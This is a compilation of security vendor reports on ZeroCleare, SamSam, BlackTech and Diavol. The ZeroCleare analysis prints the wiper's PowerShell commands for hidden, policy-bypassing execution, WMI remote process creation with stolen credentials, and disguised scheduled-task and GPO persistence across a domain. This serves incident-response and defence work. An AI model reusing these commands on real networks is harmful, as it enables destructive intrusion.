PowerShell is a task-based command-line shell and scripting language built on .NET. As such, it is part of every Windows operating system. While PowerShell is originally designed to help system administrators and power-users rapidly automate tasks that manage OS and its processes, it is also widely used by attackers that rely on ‘living off the land’ tactics.
ZeroCleare attackers used some PowerShell scripts in the attack kill chain. Further detail follows.
### ClientUpdate.ps1
X-Force IRIS identified two PowerShell scripts with the name ClientUpdate.ps1. The first and shorter of the two appeared to be the parent of the second and larger script.
The first, short script, takes as its parameter a decryption key and defines a variable $ClientData which contains a large quantity of AES-encrypted and Base64-encoded data. The script decodes this data with the decryption key, saves it in the current directory as _ClientUpdate.ps1, and executes it using PowerShell.exe. It passes the decryption key as a parameter. It then sleeps for 5 seconds before deleting the newly created script file.
We were able to identify the decryption key from system artifacts and discovered that the $ClientData variable contained the larger version of the ClientUpdate.ps1 script.
The second ClientUpdate.ps1 script is significantly longer and more complex. The overall purpose of this script is to spread the ZeroCleare malware as far as it can across the domain. This script sets out to do that by setting up a network of master and slave (agent) systems, with each agent responsible for copying and executing the malware onto a proportion of the target (client) systems.
Domain controllers were specifically chosen as agents to facilitate the spreading, and the Active Directory PowerShell module 'Get-ADComputer' cmdlet was used to assemble lists of target and client systems.
The script accepts a large variety of parameters, most of which are optional with the exception of Username, Password, and Decryption key.
- UserName (passed as base64)
- Password (passed as base64)
- DECKey (decryption key)
- CleanUpShareDrives (default: false)
- DCParent
- LogPath (default: C:\Log)
- MasterSlave
- AgentMode (false)
- AgentTimeOut (30)
- FailedMode (ExchangeSingle or ExchangeSwap)
- Master
- RunMode (IMM or SCH)
- TimeSpan (30)
- MaxThreads (30)
- ClientCheckPort (445)
- ClientCheckTimeOut (2)
- ClientForceCopy (false)
- DCHostName
An example of the script being run was observed as follows:
```powershell
powershell.exe -exec bypass -WindowStyle Hidden -NoLogo -file "C:\Users\Public\Public Updates\ClientUpdate.ps1" -Master -RunMode "IMM" -TimeSpan 12 -MaxThreads 30 -ClientCheckPort 445 -ClientCheckTimeOut 2 -UserName "string here" -Password "string here" -DECKey "abc123" -ClientForceCopy -CleanUpShareDrives -DCParent "dc01.domain.com"
```
The script is multifunctional and can act in a master or slave capacity depending on the parameters originally passed to it.
### Master and Slave Modes
The ClientUpdate.ps1 PowerShell script has two main modes of operation:
1. **$Master**
If it is running in $Master mode, the script identifies other domain controllers, then copies and executes the script on those machines in the $Master mode. It identifies all non-DC client/target systems and begins to copy and execute the ClientUpdate.exe wiper malware on them, with the other initiated domain controllers doing the same.
2. **$MasterSlave**
In $MasterSlave mode, one domain controller will act as the Master and identify other domain controllers to copy and run the script on them in Agent/Slave mode. The work of copying and executing the malware on the client targets is then divided up by the master and assigned to the agents, who then report back to the master on their progress.
The way the script is laid out means that the same script can be used by master or agent systems with the parameters determining what function they should be performing.
The main body of the script performs the following:
- First it runs the 'Update-DCGPO' function which creates a new GPO to run script ClientUpdateCore.ps1 on startup. The GPO is named "ClietnUpdate" (note the misspelling).
- If parameters $MasterSlave -eq $true -and $AgentMode -eq $false, then run functions:
- CleanUp-ShareDrives
- Start-DCController
- If parameters $MasterSlave -eq $true -and $AgentMode -eq $true, then run functions:
- CleanUp-ShareDrives (only if parameter $CleanUpShareDrives is true)
- Start-AgentController
- Extract-Self
- Execute-Self
- If parameter $Master -eq $true
- CleanUp-ShareDrives
- Start-MasterController
- Extract-Self
- Execute-Self
Further details of the functions listed above are presented in the sections below.
### ClientUpdate.ps1: Script’s Notable Functions
- **CleanUp-ShareDrives**
Runs command 'net.exe use * /delete /y' to disconnect all mapped network drives.
- **Start-DCController**
Gets a list of all domain controllers for current domain and stores as $AllDC. For each DC in $AllDC:
- Creates DCObject (this is a custom defined object which contains properties and functions to do tasks such as create shared drives/folders, and copy/run the script on clients).
- Creates shared drive \\$DCName\C$.
- Creates directory \\$DCName\C$\Users\Public\Public Updates.
- Copies itself to \\$DCName\C$\Users\Public\Public Updates.
- Attempts to run the script on the DC in Agent mode with the following command:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DCName -Credential $Credential -ErrorAction Stop;
```
Where $CMD is:
```powershell
PowerShell.exe -exec bypass -WindowStyle Hidden -file $LocalScriptPath $Args
```
And $Args are:
- "-RunMode", ('"{0}"' -f $RunMode),
- "-TimeSpan", ('{0}' -f $TimeSpan),
- "-MaxThreads", ('{0}' -f $MaxThreads),
- "-ClientCheckPort", ('{0}' -f $ClientCheckPort),
- "-ClientCheckTimeOut", ('{0}' -f $ClientCheckTimeOut),
- "-UserName", ('"{0}"' -f $UserNameCollection.RAW),
- "-Password", ('"{0}"' -f $PasswordCollection.RAW),
- "-DECKey", ('"{0}"' -f $DECKey),
- "-MasterSlave", "-AgentMode",
- "-DCHostName", ('"{0}"' -f $this.DCName)
If above fails it attempts to run instead:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DCName -ErrorAction SilentlyContinue;
```
Once it has done this for all systems in $AllDC, the ClientUpdate.ps1 PowerShell script then retrieves a list of all non-DC systems using the PowerShell module Get-ADComputer. It filters out those already present on its DC list and stores them as variable $AllClient.
Next, the script divides up the client list and assigns portions to each of the initialized domain controller agents. The agents work to copy and execute the ZeroCleare malware onto each of their assigned clients. There are also functions to keep track of agent workloads and the number of failed and successful clients. A client is determined to have failed if the agent cannot connect to it and create a shared folder on it. As redundancy, a swapping mechanism is in place to pass failed clients to another agent to try to infect them. These agents do not appear to check the status of the drive wiping malware itself.
### Start-AgentController
- Generates a ClientUpdateScript from the encrypted data within $UpdateTempContents. The sample we analyzed, the script generated was named 'ClientUpdateCore.ps1'.
- Creates DCObject for supplied DCHostName (itself).
- Creates a RunspacePool to allow for multithreading and then creates a thread for each client in its assigned client list.
- For each assigned client, the work thread creates a ClientUpdateObject for the specified client, creates a shared drive on the client \\$DNSHostName\C$, copies the $ClientUpdateScript to \\$DNSHostName\C$\Windows\Temp, and then executes the script using the following:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DNSHostName -Credential $Credential -ErrorAction Stop
```
Where $CMD is:
```powershell
@(
"PowerShell.exe",
"-exec", "bypass",
"-file", ('"{0}"' -f $this.LocalScriptFilePath),
"-TimeSpan", ('{0}' -f $SCHTimeSpan),
"-DCHostName", ('"{0}"' -f $this.DCObject.DCName),
"-ClientHostName", ('"{0}"' -f $this.DNSHostName),
"-UserName", ('"{0}"' -f $UserName),
"-Password", ('"{0}"' -f $Password),
"-DECKey", ('"{0}"' -f $DECKey)
)
```
The agent also keeps track of failed and successful clients so it can report back this status to the master.
### Start-MasterController
- Generates a ClientUpdateScript from the encrypted data within $UpdateTempContents. In the sample we analyzed, the script generated was named ClientUpdateCore.ps1.
- Checks if its own file is running from C:\Users\Public\Public Updates, and if not, it will attempt to create the directory and copy itself into that destination.
- Creates scheduled task called 'Optimize Startup' with start time listed as Get-Date + 20 seconds. This task is designed to rerun itself from the new location. If the task registration is successful, then the script exits. If it finds the task already present then it uses it as an indication that it has already been restarted and continues on.
- Gets a list of all domain controllers for the current domain as $AllDC.
- Gets a list of all non-DC systems as $AllClient.
- Loops through the list of DCs and performs the following for each (excluding itself or its parent):
- Creates shared drive \\$DNSHostname\C$.
- Checks if script already exists on the system.
- Creates work folder \\$DNSHostname\C$\Users\Public\Public Updates.
- Copies itself to the newly created work folder.
- Runs the copied script in Master mode as follows:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DCName -Credential $Credential -ErrorAction Stop
```
Where $CMD is:
```powershell
"PowerShell.exe"
"-exec", "bypass",
"-file", ('"{0}"' -f $this.LocalScriptPath) $Args
```
And $Args are as follows:
- "-RunMode", ('"{0}"' -f $RunMode),
- "-TimeSpan", ('{0}' -f $TimeSpan),
- "-MaxThreads", ('{0}' -f $MaxThreads),
- "-ClientCheckPort", ('{0}' -f $ClientCheckPort),
- "-ClientCheckTimeOut", ('{0}' -f $ClientCheckTimeOut),
- "-UserName", ('"{0}"' -f $UserName),
- "-Password", ('"{0}"' -f $Password),
- "-DECKey", ('"{0}"' -f $DECKey),
- "-Master",
- "-DCParent", ('"{0}"' -f $SelfDC)
Once all DCs have been initialized, it creates a RunspacePool for multithreading and starts a thread for each client in $AllClient. The thread does the following for each client:
- Creates shared drive \\$DNSHostName\C$.
- Attempts to copy the generated ClientUpdateScript to \\$DNSHostName\C$\Windows\Temp\UpdateTemp.
- Runs copied script with:
```powershell
Invoke-WmiMethod -class Win32_process -name Create -ArgumentList $CMD -ComputerName $this.DNSHostName -Credential $Credential -ErrorAction Stop;
```
Where $CMD is:
```powershell
(
"PowerShell.exe",
"-exec", "bypass",
"-file", ('"{0}"' -f $this.LocalScriptFilePath),
"-TimeSpan", ('{0}' -f $SCHTimeSpan),
"-DCHostName", ('{0}' -f $this.DCObject.DCName),
"-ClientHostName", ('{0}' -f $this.DNSHostName),
"-UserName", ('"{0}"' -f $UserName),
"-Password", ('"{0}"' -f $Password),
"-DECKey", ('"{0}"' -f $DECKey)
)
```
### Extract-Self Function
- Creates directory $DataFolderPath ("$SelfPath\UpdateTemp").
- Decrypts contents of $UpdateTempContents (which is an array of Base64-encoded and AES-encrypted data contained within the script) using the supplied $DECKey.
- Writes decrypted contents to $DataFolderPath.
### Execute-Self Function
- Checks if a process named ClientUpdate is already running.
- If it is not, then checks if system architecture is x86 or x64.
- Next, starts process $DataFolderPath\X86\ClientUpdate.exe or $DataFolderPath\X64\ClientUpdate.exe depending on the above result.
## 1.9 ZeroCleare: A Likely Collaboration Between Iranian State Sponsored Groups
X-Force IRIS assesses that the ZeroCleare campaign included compromise and access by actors from the ITG13 group and at least one additional group, likely Iran-based threat actors. This assessment is based on ITG13's traditional mission, which has not included executing destructive cyber-attacks in the past, the gap in time between the initial access facilitated by ITG13, the last stage of the intrusion, as well as the different TTPs observed.
Let’s look at the details of some of the resources used throughout the ZeroCleare attack and which can connect it with ITG13. For initial access, the IP address 193.111.152[.]13, which was associated with ITG13 in recent Oilrig/APT34 leaks, and as also reported by Palo Alto, was used to scan target networks and access accounts as early as the Fall of 2018. A different Iranian threat actor likely accessed accounts from that address in mid-2019 preceding disk wiping operations.
One of the IP addresses used to access compromised network accounts in mid-2019 was 194.187.249[.]103, which is adjacent to another IP address, 194.187.249[.]102. That last IP address was used several months prior to the attack by the threat actor Hive0081 (aka xHunt). Additionally, while recent reporting indicates that the Russian threat actor IRIS tracks as ITG12 (aka Turla) had access to ITG13 tools and infrastructure potentially during this time frame, X-Force IRIS does not believe ITG12 was behind the ZeroCleare attack.
During the destructive phase, ITG13 threat actors brute forced passwords to gain access to several network accounts, which were used to install the China Chopper and Tunna web shells after exploiting a SharePoint vulnerability. X-Force IRIS found an additional web shell named "extension.aspx", which shared similarities with the ITG13 tool known as TWOFACE/SEASHARPEE including the methods that were dynamically called from assembly, the use of AES encryption, as well as single letter variable names.
The same threat actor also attempted to leverage legitimate remote access software, such as TeamViewer, and used an obfuscated version of Mimikatz to collect credentials from compromised servers.
Regarding the ZeroCleare malware itself, while it shares some high-level similarities with Shamoon v3, specifically in how it used an EldoS RawDisk driver, X-Force IRIS assesses that ZeroCleare is dissimilar enough in its code and deployment mechanism to be considered distinct from the Shamoon malware family and treated as separate malware.
While X-Force IRIS cannot attribute the activity observed during the destructive phase of the ZeroCleare campaign, we assess that high-level similarities with other Iranian threat actors, including the reliance on ASPX web shells and compromised VPN accounts, the link to ITG13 activity, and the attack aligning with Iranian objectives in the region, make it likely this attack was executed by one or more Iranian threat groups.
## 1.10 A New Destructive Wiper Threat in the Wild
Various links inferred from examining common TTPs and indicators of compromise as mentioned in the previous section make it possible that this wiper variant was built by Iran-based nation state attackers. Recent activity from that sphere includes the “Sakabota” backdoor activity, recently reported by X-Force IRIS, also tied to ITG13 (aka “Oilrig” and “APT34”), as well as the Lyceum campaign reported by Dell-EMC SecureWorks. In these campaigns, the top targets were Kuwaiti shipping and transportation organizations.
## 1.11 Energy Sector in the Crosshairs
Nation-state attackers have typically carried out destructive attacks against the energy sector, with historic focus especially oil and gas; however, destructive attacks can target any entity. Why has this sector been finding itself in the crosshairs of such activity?
The key role oil and gas production and processing play on both the national and global level represents a high-value target for state-sponsored adversarial actors. These types of attackers may be tasked with conducting anything from industrial espionage to cyber kinetic attacks designed to disrupt the critical infrastructure of rival nations. Depending on the sophistication, scale, and frequency of attacks, cyber incidents in this space have the potential to disrupt critical services, damage or destroy highly specialized equipment, and ultimately inflict detrimental cascading effects upon global energy security and industries downstream.
While nation state attacks have been happening more in the past decade, it is since at least 2012 that Iranian state-sponsored threat actors have been leveraging cyber-attacks to inflict destructive, kinetic effects on their targets. The use of cyber-based weapons in lieu of conventional military tactics presents Iran, in this case, with a low-cost, and potentially nonattributable means of conducting hostile, and even warlike activity. With attribution to one specific group becoming a challenge nowadays, working under the cyber cloak of anonymity can also allow Iran to evade sanctions and preserve its relations with international players who may support its economic and nuclear energy interests.
Looking at the geographical region hit by the ZeroCleare malware, it is not the first time the Middle East has seen destructive attacks target its energy sector. In addition to underpinning the economies of several Gulf nations, the Middle East petrochemical market, for example, hosts approximately 64.5% of the world’s proven oil reserves, making it a vital center of global energy architecture. Destructive cyberattacks against energy infrastructure in this arena therefore represent a high-impact threat to both the regional and international markets.
## 1.12 Mitigating the Risk Posed by Destructive Malware
When it comes to destructive attacks, the critical actions for security teams to take are early detection and escalation and coordinated response to contain and stop the spread. Here are some tips from our team that can help mitigate the risk of destructive malware.
### 1.12.1 Use threat intelligence to understand the risk to your organization
Each threat actor has different motivations, capabilities, and intentions, and threat intelligence can help provide insights that increase the efficacy of an organization’s preparedness and eventual response to an incident.
### 1.12.2 Build effective defense-in-depth
Incorporate multiple layers of security controls across the entire Cyberattack Preparation and Execution Framework.
### 1.12.3 Deploy IAM, limit privileged users, and implement MFA
In most attacks, adversarial actors leverage privileged accounts to expand their foothold in compromised networks. Limit the number of those accounts to a minimum and back them up with multi-factor authentication (MFA). Also, don’t allow one account to access all systems. Deploy Identity and Access Management (IAM) to apply business-process centric policies to what your users can access. That way, if their account is compromised, the attacker will have a harder time using it for access to other parts of the network. Leveraging IAM can also help baseline legitimate access and alert security teams when lateral movement could be abusing access to compromised accounts.
### 1.12.4 Have backups, test backups, and keep offline backups
Backing up systems is a foundational best practice, but ensuring the organization has effective backups of critical systems and testing these backups is more important than ever. Being able to use backups in recovery can make a significant difference in remediating destructive malware attacks.
### 1.12.5 Test your response plans under pressure
Use of a well-tailored tabletop exercise and a cyber range simulation can help ensure that your teams are indeed ready, on both the tactical and strategic levels, to manage a destructive malware incident. Rehearsed response plans require ongoing testing and adjustment, but they allow the IR team to carry out plans and be able to implement them effectively when the time comes to respond and remediate.
For emergencies or if your organization is under attack, please call:
**X-FORCE EMERGENCY RESPONSE HOTLINE 888-241-9812**
## Annex: IOCs
This section contains additional indicators of compromise (IOCs) related to each file and script we analyzed.
### ClientUpdate.exe (x64)
**Notable Strings**
- \\?\ElRawDisk
- System\CurrentControlSet\Control\NetworkProvider\Order
- {82B5234F-DF61-4638-95D5-341CAD244D19}
- b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d
- \??\c:
- /c soy.exe
- C:\windows\system32\cmd.exe
- \\.\c:
- C:\Users\Developer\source\repos\ZeroCleare\x64\Release\zeroclear.pdb
### Soy.exe
**File System**
- saddrv.sys
- elrawdsk.sys
**Service**
- Name: VBoxDrv
- Service Type: Driver
- Start Type: Demand Start
- Binary: $CurrentPath\elrawdsk.sys
**Mutex**
- Ptición de trabajo
**Notable Strings**
- C:\Users\[User]\Desktop\TDL\Source\Furutaka\output\x64\Release\soy.pdb
- Software\Oracle\VirtualBox
- The Magic Word!
- VBoxDrv
- \Device
- VBoxUSBMon
- VBoxNetAdp
- VBoxNetLwf
- \saddrv.sys
- Ptición de trabajo
- elrawdsk.sys
### ClientUpdate.exe (x86)
**Notable Strings**
- \\?\ElRawDisk
- System\CurrentControlSet\Control\NetworkProvider\Order
- {82B5234F-DF61-4638-95D5-341CAD244D19}
- b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d
- \??\c:
- zeroclear.exe
- elrawdsk.sys
- /u /c sc create soydsk type= kernel start= demand binPath= "
- C:\windows\system32\cmd.exe
- /u /c sc start soydsk
- \\.\c:
- C:\Users\Developer\source\repos\ZeroCeare32\Release\zeroclear.pdb
### ClientUpdate.ps1
**File System**
- C:\Users\Public\Public Updates\
- C:\Windows\Temp\UpdateTemp\
- UpdateTemp\
- ClientUpdate.exe
- Soy.exe
- elrawdsk.sys
- ClientUpdateCore.ps1
- GPOClientUpdateCore.ps1
**Scheduled Task**
- Task Name: "Optimize Startup"
- Trigger: Run once at $CurrentDate + 20 seconds
- Description: "This idle task reorganizes the cache files used to display the start menu. It is enabled only when the cache files are not optimally organized."
- Action: PowerShell.exe -exec bypass -WindowStyle Hidden -NoLogo -file $SelfScriptPath $ScriptArgs
**Group Policy Object (GPO)**
- Name: "ClietnUpdate"
- TargetName: "Domain Computers"
- Startup Script: "C:\Windows\SYSVOL\sysvol\$Domain\Policies\{$Guid}\Machine\Scripts\Startup\ClientUpdateCore.ps1"
**Other**
- Shared drive: \\$Hostname\C$
- SMB Share: C:\Public Updates
## About IBM X-Force
IBM X-Force studies and monitors the latest threat trends, advising customers and the general public about emerging and critical threats, and delivering security content to help protect IBM customers. From infrastructure, data and application protection to cloud and managed security services, IBM Security Services has the expertise to help safeguard your critical assets. IBM Security protects some of the most sophisticated networks in the world and employs some of the best minds in the business. |
# SophosLabs Releases SamSam Ransomware Report
By Andrew Brandt
July 31, 2018
It strikes in the dead of night, timing the moment when it begins to encrypt every hard drive it can reach to when the fewest IT administrators or SOC staff are likely to be on duty. Victims find few, if any, traces of the infection, other than a ransom note that demands payments exceeding $60,000 in Bitcoin, and links to a Dark Web customer support chat system that gives the victim an opportunity to trade text messages with the attacker.
When SamSam appeared at the end of 2015, ransomware had really hit its stride, with a widely distributed variant of CryptoWall and new ransomware-as-a-service business models appearing. But this ransomware was different.
For one thing, SamSam’s attack vector set it immediately apart from other ransomware. The person, or people, behind the attack employ a combination of old fashioned brute force attacks and exploits aimed at taking control of a single machine on the network of a targeted victim, before eventually taking control of a domain administrator machine. No malicious spam email or exploit kits delivered SamSam’s payload. The attacker pushes it out to every workstation on a LAN domain and executes it simultaneously.
For another, SamSam seems designed to maximize its own likelihood of success. A multi-tiered priority system ensures that the ransomware encrypts the most valuable data first, but eventually it also encrypts everything else that isn’t in a very short list of Windows system-related files. Communication and payment involve Tor and Bitcoin for security and untraceability. The attacker personally launches the attacks using a combination of free, open source, and commercial network administrator tools.
The attacker actively evades security controls throughout the attack, deploying custom-compiled malware payloads and shutting down security measures as needed. It has been a particularly pernicious and heinous ransomware campaign, attacking hospitals, schools, municipal government, and even a homeless charity.
Many of the victims, by our analysis, have never publicly disclosed or acknowledged that an attack has even taken place, even though the Bitcoin transaction record irrefutably shows that a victim has paid the ransom, and each bitcoin address used by the SamSam attacker is unique to its victim organization.
The SamSam attacker has taken in nearly $6 million in ransom revenue since the malware appeared on the scene about 32 months ago, demanding a premium ransom in order to sell the victims a key that will decrypt every affected machine on the network. About one in four victims, according to our research, have paid the ransom rather than trying to recover from backups. We find out about new victims almost every week.
Our newly-released report, *SamSam: The (Almost) Six Million Dollar Malware*, is the result of more than six months’ work by a team of SophosLabs malware analysts, reverse engineers, and Sophos senior support staff. These are just a few of the details that we cover in this in-depth analysis of both the malware and the tactics employed by this particularly challenged and paranoid threat actor.
We’ll cover some of the side stories relating to the investigation in the coming days here on Uncut, but it’s also worth mentioning: In the days leading up to the release of the report, the SamSam attacker has launched a new offensive targeting the reputation of Sophos itself. The latest version of the malware uses the file suffix .sophos on its encrypted payload.
Yeah, it’s a cute distraction, but it also says something important: We must be giving the right person or people a particularly hard time if they’re so irritated by us that they feel compelled to call us out by name. Giving bad guys a bad day makes me feel warm and fuzzy inside. |
# Following the Trail of BlackTech’s Cyber Espionage Campaigns
Posted on: June 22, 2017 at 5:05 am
Posted in: Targeted Attacks
Author: Trend Micro
BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear.
Over the course of their campaigns, we analyzed their modus operandi and dissected their tools of the trade—and uncovered common denominators indicating that PLEAD, Shrouded Crossbow, and Waterbear may actually be operated by the same group.
## PLEAD
PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop-off points for exfiltrated documents stolen by DRIGO.
PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename. They are mostly accompanied by decoy documents to further trick users. We’ve also seen PLEAD use exploits for these vulnerabilities:
- CVE-2015-5119, patched by Adobe last July, 2015
- CVE-2012-0158, patched by Microsoft last April, 2012
- CVE-2014-6352, patched by Microsoft last October, 2014
- CVE-2017-0199, patched by Microsoft last April, 2017
PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach.
PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as a virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets. PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server. This is another way for them to establish a new C&C or HTTP server.
PLEAD’s backdoor can:
- Harvest saved credentials from browsers and email clients like Outlook
- List drives, processes, open windows, and files
- Open remote Shell
- Upload target file
- Execute applications via ShellExecute API
- Delete target file
PLEAD also uses the document-targeting exfiltration tool DRIGO, which mainly searches the infected machine for documents. Each copy of DRIGO contains a refresh token tied to specific Gmail accounts used by the attackers, which are in turn linked to a Google Drive account. The stolen files are uploaded to these Google Drives, where the attackers can harvest them.
## Shrouded Crossbow
This campaign, first observed in 2010, is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor, which the operators enhanced and created other tools from. Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics, computer, healthcare, and financial industries.
Shrouded Crossbow employs three BIFROST-derived backdoors: BIFROSE, KIVARS, and XBOW. Like PLEAD, Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and are accompanied by decoy documents.
BIFROSE, known for evading detection by communicating with its C&C servers via Tor protocol, also has a version targeting UNIX-based operating systems, which are usually used in servers, workstations, and mobile devices. KIVARS has less functionality than BIFROSE, but its modular structure made it easier to maintain. KIVARS enabled attackers to download and execute files, list drives, uninstall malware service, take screenshots, activate/deactivate keylogger, show/hide active windows, and trigger mouse clicks and keyboard inputs. A 64-bit version of KIVARS also emerged to keep pace with the popularity of 64-bit systems. XBOW’s capabilities are derived from BIFROSE and KIVARS; Shrouded Crossbow gets its name from its unique mutex format.
## Waterbear
Waterbear has actually been operating for a long time. The campaign’s name is based on its malware’s capability to equip additional functions remotely. Waterbear similarly employs a modular approach to its malware. A loader component executable will connect to the C&C server to download the main backdoor and load it in memory. A later version of this malware appeared and used patched server applications as its loader component, while the main backdoor is either loaded from an encrypted file or downloaded from the C&C server.
The tactic it later adopted required prior knowledge of their targets’ environment. It’s possible attackers used Waterbear as a secondary payload to help maintain presence after gaining some levels of access into the targets’ systems.
## All Roads Lead to BlackTech
Based on the use of the same C&C servers, the campaigns’ coordinated efforts, and similarities in tools, techniques, and objectives, we can conclude that they are operated by the same group. It is not uncommon, for instance, for a group—especially a well-funded one—to split into teams and run multiple campaigns. While most of the campaigns’ attacks are conducted separately, we’ve seen apparently joint operations conducted in phases that entail the work of different teams at each point in the infection chain.
### Use of the Same C&C Servers
In several instances, we found the campaigns’ malware communicating with the same C&C servers. In targeted attacks, C&C servers are typically not shared with other groups. Here are some of the C&C servers we found that are shared by the campaigns:
| C&C Server | PLEAD | Shrouded Crossbow | Waterbear |
|-------------------------|-------|-------------------|-----------|
| itaiwans[.]com | Yes | No | Yes |
| microsoftmse[.]com | Yes | Yes | No |
| 211[.]72[.]242[.]120 | Yes | Yes | No |
Additionally, the IP 211[.]72[.]242[.]120 is one of the hosts for the domain microsoftmse[.]com, which has been used by several KIVARS variants.
### Joint Operations
We also found incidents where the backdoors were used on the same targets. While it’s possible for separate groups to attack at the same time, we can construe that they are at least working together:
| PLEAD | Shrouded Crossbow |
|-------------------------------|------------------------------------|
| Loader component named after its target, i.e. {target name}.exe | Loader component named after its target, i.e. {target name}.exe or {target name}64.exe |
| Connected to 211[.]72[.]242[.]120:53 | Connected to 211[.]72[.]242[.]120:443 |
| Arrived two days after initial infection by SC | Established presence two years prior, but re-infected at a recent time |
### Similarities between tools and techniques
PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents. Both also use decoy documents to make the RTLO attack more convincing. Another similarity is the use of a small loader component to load encrypted backdoors into memory.
### Similar Objectives
The ulterior motive of these campaigns is to steal important documents from their victims; initial recipients of their attacks are not always their primary target. For instance, we saw several decoy documents stolen by the attackers that are then used against another target. This indicates that document theft is most likely the first phase of an attack chain against a victim with ties to the intended target. While PLEAD and KIVARS are most likely to be used in first phase attacks, Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege.
Based on the type of documents stolen by these campaigns, we can get a clearer view of who they’re targeting and compromising, the purpose of their campaigns, and when they take place. Below are some of the categories or labels of the stolen documents:
- Address book
- Budget
- Business
- Contract
- Culture
- Defense
- Education
- Energy
- Foreign affairs
- Funding application
- Human affairs
## Enterprises Need to be Proactive
PLEAD, Shrouded Crossbow, and Waterbear are still actively mounting their campaigns against their targets, which is why organizations must proactively secure their perimeter. IT/system administrators and information security professionals can consider making a checklist of what to look out for in the network for any signs of anomalies and suspicious behavior that can indicate intrusions. Adopting best practices and employing multilayered security mechanisms and strategies against targeted attacks are also recommended. Network traffic analysis, deployment of firewalls and intrusion detection and prevention systems, network segmentation, and data categorization are just some of them.
## Trend Micro Solutions
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like the above-mentioned zero-day attacks even without any engine or pattern update.
Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats that abuse unpatched vulnerabilities. OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are deployed.
Trend Micro™ Smart Protection for Endpoints with Maximum XGen™ security infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across user activity and any endpoint—the broadest possible protection against advanced attacks.
An overview and analysis of the various malware used by PLEAD, Shrouded Crossbow, and Waterbear, along with their Indicators of Compromise (hashes, C&Cs), can be found in this technical brief. |
# FBI Links Diavol Ransomware to the TrickBot Cybercrime Group
The FBI has formally linked the Diavol ransomware operation to the TrickBot Group, the malware developers behind the notorious TrickBot banking trojan. The TrickBot Gang, also known as Wizard Spider, are the developers of malware infections that have played havoc on corporate networks for years, commonly leading to Conti and Ryuk ransomware attacks, network infiltration, financial fraud, and corporate espionage. The TrickBot Gang is most known for its namesake, the TrickBot banking trojan, but is also behind the development of the BazarBackdoor and Anchor backdoors.
## Prior Analysis Linked Diavol to TrickBot Group
In July 2021, researchers from FortiGuard Labs released an analysis of a new ransomware called Diavol (Romanian for Devil) that was seen targeting corporate victims. The researchers saw both Diavol and Conti ransomware payloads deployed on a network in the same ransomware attack in early June 2021. After analyzing the two ransomware samples, similarities were discovered, such as their use of asynchronous I/O operations for file encryption queuing and almost identical command-line parameters for the same functionality. At the time, there was not enough evidence to formally link the two operations. However, a month later, IBM X-Force researchers established a stronger connection between Diavol ransomware and other TrickBot Gang's malware, such as Anchor and TrickBot.
## FBI Links Diavol Ransomware to TrickBot Gang
Today, the FBI has formally announced that they have linked the Diavol ransomware operation to the TrickBot Gang in a new advisory sharing indicators of compromise seen in previous attacks. "The FBI first learned of Diavol ransomware in October 2021. Diavol is associated with developers from the Trickbot Group, who are responsible for the Trickbot Banking Trojan," the FBI states in a new advisory. Since then, the FBI has seen ransom demands ranging between $10,000 and $500,000, with lower payments accepted after ransom negotiations.
These amounts are in stark contrast to the higher ransoms demanded by other ransomware operations linked to TrickBot, such as Conti and Ryuk, who have historically asked for multi-million dollar ransoms. For example, in April, the Conti ransomware operation demanded $40 million from Florida's Broward County School district and $14 million from chip maker Advantech. The FBI was likely able to formally link Diavol to the TrickBot Gang after the arrest of Alla Witte, a Latvian woman involved in the development of ransomware for the malware gang. Vitali Kremez, CEO of AdvIntel, who has been tracking the TrickBot operations, told BleepingComputer that Witte was responsible for the development of the new TrickBot-linked ransomware. "Alla Witte played a critical role for the TrickBot operations and based on the previous AdvIntel deep adversarial insight she was responsible for the development of the Diavol ransomware and frontend/backend project meant to support TrickBot operations with the specific tailored ransomware with the bot backconnectivity between TrickBot and Diavol," Kremez told BleepingComputer in a conversation. "Another name for the Diavol ransomware was called 'Enigma' ransomware leveraged by the TrickBot crew before the Diavol re-brand."
